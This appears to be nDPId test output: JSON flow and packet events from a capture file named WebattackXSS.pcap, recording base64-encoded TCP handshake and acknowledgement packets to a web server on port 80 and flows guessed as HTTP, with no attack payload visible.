+00445{"flow_id":429,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6073,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347693,"pkt_ts_usec":386714,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8yJFAAD4G\/T6sEAABwKgKMuoQAFBhE2QOAAAAAKACchABpwAAAgQFtAQCCAoBO6yfAAAAAAEDAwc="} +00444{"flow_id":429,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6074,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347693,"pkt_ts_usec":386806,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6hDs1hgmYRNkD6AScSB7jwAAAgQFtAQCCAoD5X4UATusnwEDAwc="} +00433{"flow_id":429,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6075,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347693,"pkt_ts_usec":387587,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yJJAAD4G\/UWsEAABwKgKMuoQAFBhE2QP7NYYJ4AQAOUalwAAAQEICgE7rJ8D5X4U"} +00433{"flow_id":426,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6079,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347693,"pkt_ts_usec":806490,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C5BAAD4GukisEAABwKgKMunaAFB\/Haw6Zunfg4ARAOV3pgAAAQEICgE7rQgD5Xks"} +00432{"flow_id":426,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6080,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347693,"pkt_ts_usec":806679,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0of5AAEAGIdrAqAoyrBAAAQBQ6dpm6d+Dfx2sO4ARAONyVgAAAQEICgPlfn0BO60I"} +00433{"flow_id":426,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6081,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347693,"pkt_ts_usec":807450,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C5FAAD4GukesEAABwKgKMunaAFB\/Haw7ZunfhIAQAOVyVAAAAQEICgE7rQgD5X59"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6085,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":430,"flow_packet_id":1,"flow_first_seen":1499347694661,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59934,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":430,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6085,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347694,"pkt_ts_usec":661136,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8mmhAAD4GK2isEAABwKgKMuoeAFATaje1AAAAAKACchB6XQAAAgQFtAQCCAoBO63dAAAAAAEDAwc="} +00444{"flow_id":430,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6086,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347694,"pkt_ts_usec":661259,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6h4IeSXoE2o3tqAScSDJowAAAgQFtAQCCAoD5X9SATut3QEDAwc="} +00432{"flow_id":430,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6087,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347694,"pkt_ts_usec":661977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mmlAAD4GK2+sEAABwKgKMuoeAFATaje2CHkl6YAQAOVoqgAAAQEICgE7rd4D5X9S"} +00432{"flow_id":427,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6091,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347694,"pkt_ts_usec":806391,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00NtAAD4G9PysEAABwKgKMunoAFDCAng3AoM8tIARAOVtugAAAQEICgE7rgID5Xpk"} +00432{"flow_id":427,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6092,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347694,"pkt_ts_usec":806612,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Q8NAAEAGgBXAqAoyrBAAAQBQ6egCgzy0wgJ4OIARAONoqAAAAQEICgPlf3cBO64C"} +00432{"flow_id":427,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6093,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347694,"pkt_ts_usec":807341,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00NxAAD4G9PusEAABwKgKMunoAFDCAng4AoM8tYAQAOVopgAAAQEICgE7rgID5X93"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6103,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":431,"flow_packet_id":1,"flow_first_seen":1499347697189,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59960,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":431,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6103,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347697,"pkt_ts_usec":189817,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA88ppAAD4G0zWsEAABwKgKMuo4AFBV\/kLMAAAAAKACchAqHwAAAgQFtAQCCAoBO7BWAAAAAAEDAwc="} +00444{"flow_id":431,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6104,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347697,"pkt_ts_usec":189928,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6jj3l3auVf5CzaAScSA3CAAAAgQFtAQCCAoD5YHKATuwVgEDAwc="} +00433{"flow_id":431,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6105,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347697,"pkt_ts_usec":190739,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08ptAAD4G0zysEAABwKgKMuo4AFBV\/kLN95d2r4AQAOXWDwAAAQEICgE7sFYD5YHK"} +00432{"flow_id":428,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6109,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347697,"pkt_ts_usec":806520,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u55AAD4GCjqsEAABwKgKMuoCAFDepxD5uq9h44ARAOXVegAAAQEICgE7sPAD5XzZ"} +00432{"flow_id":428,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6110,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347697,"pkt_ts_usec":806736,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA044ZAAEAG4FHAqAoyrBAAAQBQ6gK6r2Hj3qcQ+oARAOPP7wAAAQEICgPlgmUBO7Dw"} +00432{"flow_id":428,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6111,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347697,"pkt_ts_usec":807467,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u59AAD4GCjmsEAABwKgKMuoCAFDepxD6uq9h5IAQAOXP7QAAAQEICgE7sPAD5YJl"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6115,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":432,"flow_packet_id":1,"flow_first_seen":1499347698449,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59974,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":432,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6115,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347698,"pkt_ts_usec":449087,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iq9AAD4GOyGsEAABwKgKMupGAFDXwDs\/AAAAAKACchCuoQAAAgQFtAQCCAoBO7GQAAAAAAEDAwc="} +00444{"flow_id":432,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6116,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347698,"pkt_ts_usec":449189,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6kYJky3T18A7QKAScSDxLwAAAgQFtAQCCAoD5YMFATuxkAEDAwc="} +00432{"flow_id":432,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6117,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347698,"pkt_ts_usec":449969,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0irBAAD4GOyisEAABwKgKMupGAFDXwDtACZMt1IAQAOWQNgAAAQEICgE7sZED5YMF"} +00433{"flow_id":429,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6121,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347698,"pkt_ts_usec":806706,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yJNAAD4G\/USsEAABwKgKMuoQAFBhE2QP7NYYJ4ARAOUVSwAAAQEICgE7seoD5X4U"} +00432{"flow_id":429,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6122,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347698,"pkt_ts_usec":806916,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0m3hAAEAGKGDAqAoyrBAAAQBQ6hDs1hgnYRNkEIARAOMQAQAAAQEICgPlg18BO7Hq"} +00434{"flow_id":429,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6123,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347698,"pkt_ts_usec":807461,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yJRAAD4G\/UOsEAABwKgKMuoQAFBhE2QQ7NYYKIAQAOUP\/wAAAQEICgE7seoD5YNf"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":389,"flow_packet_id":6,"flow_first_seen":1499347625094,"flow_last_seen":1499347630791,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59192,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":389,"flow_packet_id":6,"flow_first_seen":1499347625094,"flow_last_seen":1499347630791,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59192,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":390,"flow_packet_id":6,"flow_first_seen":1499347626349,"flow_last_seen":1499347631791,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59206,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":390,"flow_packet_id":6,"flow_first_seen":1499347626349,"flow_last_seen":1499347631791,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59206,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":391,"flow_packet_id":6,"flow_first_seen":1499347627616,"flow_last_seen":1499347632792,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59220,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":391,"flow_packet_id":6,"flow_first_seen":1499347627616,"flow_last_seen":1499347632792,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59220,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":392,"flow_packet_id":6,"flow_first_seen":1499347630130,"flow_last_seen":1499347635793,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59246,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":392,"flow_packet_id":6,"flow_first_seen":1499347630130,"flow_last_seen":1499347635793,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59246,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":393,"flow_packet_id":6,"flow_first_seen":1499347631388,"flow_last_seen":1499347636793,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59260,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":393,"flow_packet_id":6,"flow_first_seen":1499347631388,"flow_last_seen":1499347636793,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59260,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":394,"flow_packet_id":6,"flow_first_seen":1499347632635,"flow_last_seen":1499347637795,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59274,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6124,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":394,"flow_packet_id":6,"flow_first_seen":1499347632635,"flow_last_seen":1499347637795,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59274,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6127,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":433,"flow_packet_id":1,"flow_first_seen":1499347699724,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59988,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":433,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6127,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347699,"pkt_ts_usec":724216,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8U2NAAD4Gcm2sEAABwKgKMupUAFDv6uGsAAAAAKACchDuvAAAAgQFtAQCCAoBO7LPAAAAAAEDAwc="} +00444{"flow_id":433,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6128,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347699,"pkt_ts_usec":724339,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6lS1E1w77+rhraAScSBWIwAAAgQFtAQCCAoD5YREATuyzwEDAwc="} +00432{"flow_id":433,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6129,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347699,"pkt_ts_usec":724992,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U2RAAD4GcnSsEAABwKgKMupUAFDv6uGttRNcPIAQAOX1KgAAAQEICgE7ss8D5YRE"} +00432{"flow_id":430,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6133,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347699,"pkt_ts_usec":806873,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mmpAAD4GK26sEAABwKgKMuoeAFATaje2CHkl6YARAOVjowAAAQEICgE7suQD5X9S"} +00432{"flow_id":430,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6134,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347699,"pkt_ts_usec":807055,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0obBAAEAGIijAqAoyrBAAAQBQ6h4IeSXpE2o3t4ARAONenQAAAQEICgPlhFkBO7Lk"} +00432{"flow_id":430,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6135,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347699,"pkt_ts_usec":807788,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mmtAAD4GK22sEAABwKgKMuoeAFATaje3CHkl6oAQAOVemwAAAQEICgE7suQD5YRZ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6145,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":434,"flow_packet_id":1,"flow_first_seen":1499347702287,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60014,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":434,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6145,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347702,"pkt_ts_usec":287352,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8dHpAAD4GUVasEAABwKgKMupuAFBhicEqAAAAAKACchCbBQAAAgQFtAQCCAoBO7VQAAAAAAEDAwc="} +00445{"flow_id":434,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6146,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347702,"pkt_ts_usec":287465,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6m4\/xiwDYYnBK6AScSClcAAAAgQFtAQCCAoD5YbFATu1UAEDAwc="} +00432{"flow_id":434,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6147,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347702,"pkt_ts_usec":288246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dHtAAD4GUV2sEAABwKgKMupuAFBhicErP8YsBIAQAOVEeAAAAQEICgE7tVAD5YbF"} +00433{"flow_id":431,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6151,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347702,"pkt_ts_usec":808000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08pxAAD4G0zusEAABwKgKMuo4AFBV\/kLN95d2r4ARAOXQkgAAAQEICgE7tdID5YHK"} 